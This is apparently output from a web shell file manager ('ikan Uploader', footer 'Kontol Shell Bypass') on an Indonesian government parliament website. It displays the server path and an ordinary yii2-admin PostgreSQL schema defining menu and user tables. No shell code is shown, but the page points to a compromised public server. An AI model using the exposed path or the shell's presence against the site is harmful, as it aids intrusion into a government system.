ikan Uploader :
Directory : /www/wwwroot/jdih.dprd.mukomukokab.go.id/vendor/mdmsoft/yii2-admin-old/migrations/
Upload File : |
| Current File : /www/wwwroot/jdih.dprd.mukomukokab.go.id/vendor/mdmsoft/yii2-admin-old/migrations/schema-pgsql.sql |
/**
* Database schema required by yii2-admin.
*
* @author Misbahul D Munir <misbahuldmunir@gmail.com>
* @since 2.5
*/
drop table if exists "menu";
drop table if exists "user";
create table "menu"
(
"id" serial NOT NULL PRIMARY KEY,
"name" varchar(128),
"parent" integer,
"route" varchar(256),
"order" integer,
"data" bytea,
foreign key ("parent") references "menu"("id") ON DELETE SET NULL ON UPDATE CASCADE
);
create table "user"
(
"id" serial NOT NULL PRIMARY KEY,
"username" varchar(32) NOT NULL,
"auth_key" varchar(32) NOT NULL,
"password_hash" varchar(256) NOT NULL,
"password_reset_token" varchar(256),
"email" varchar(256) NOT NULL,
"status" integer not null default 10,
"created_at" integer not null,
"updated_at" integer not null
);
Kontol Shell Bypass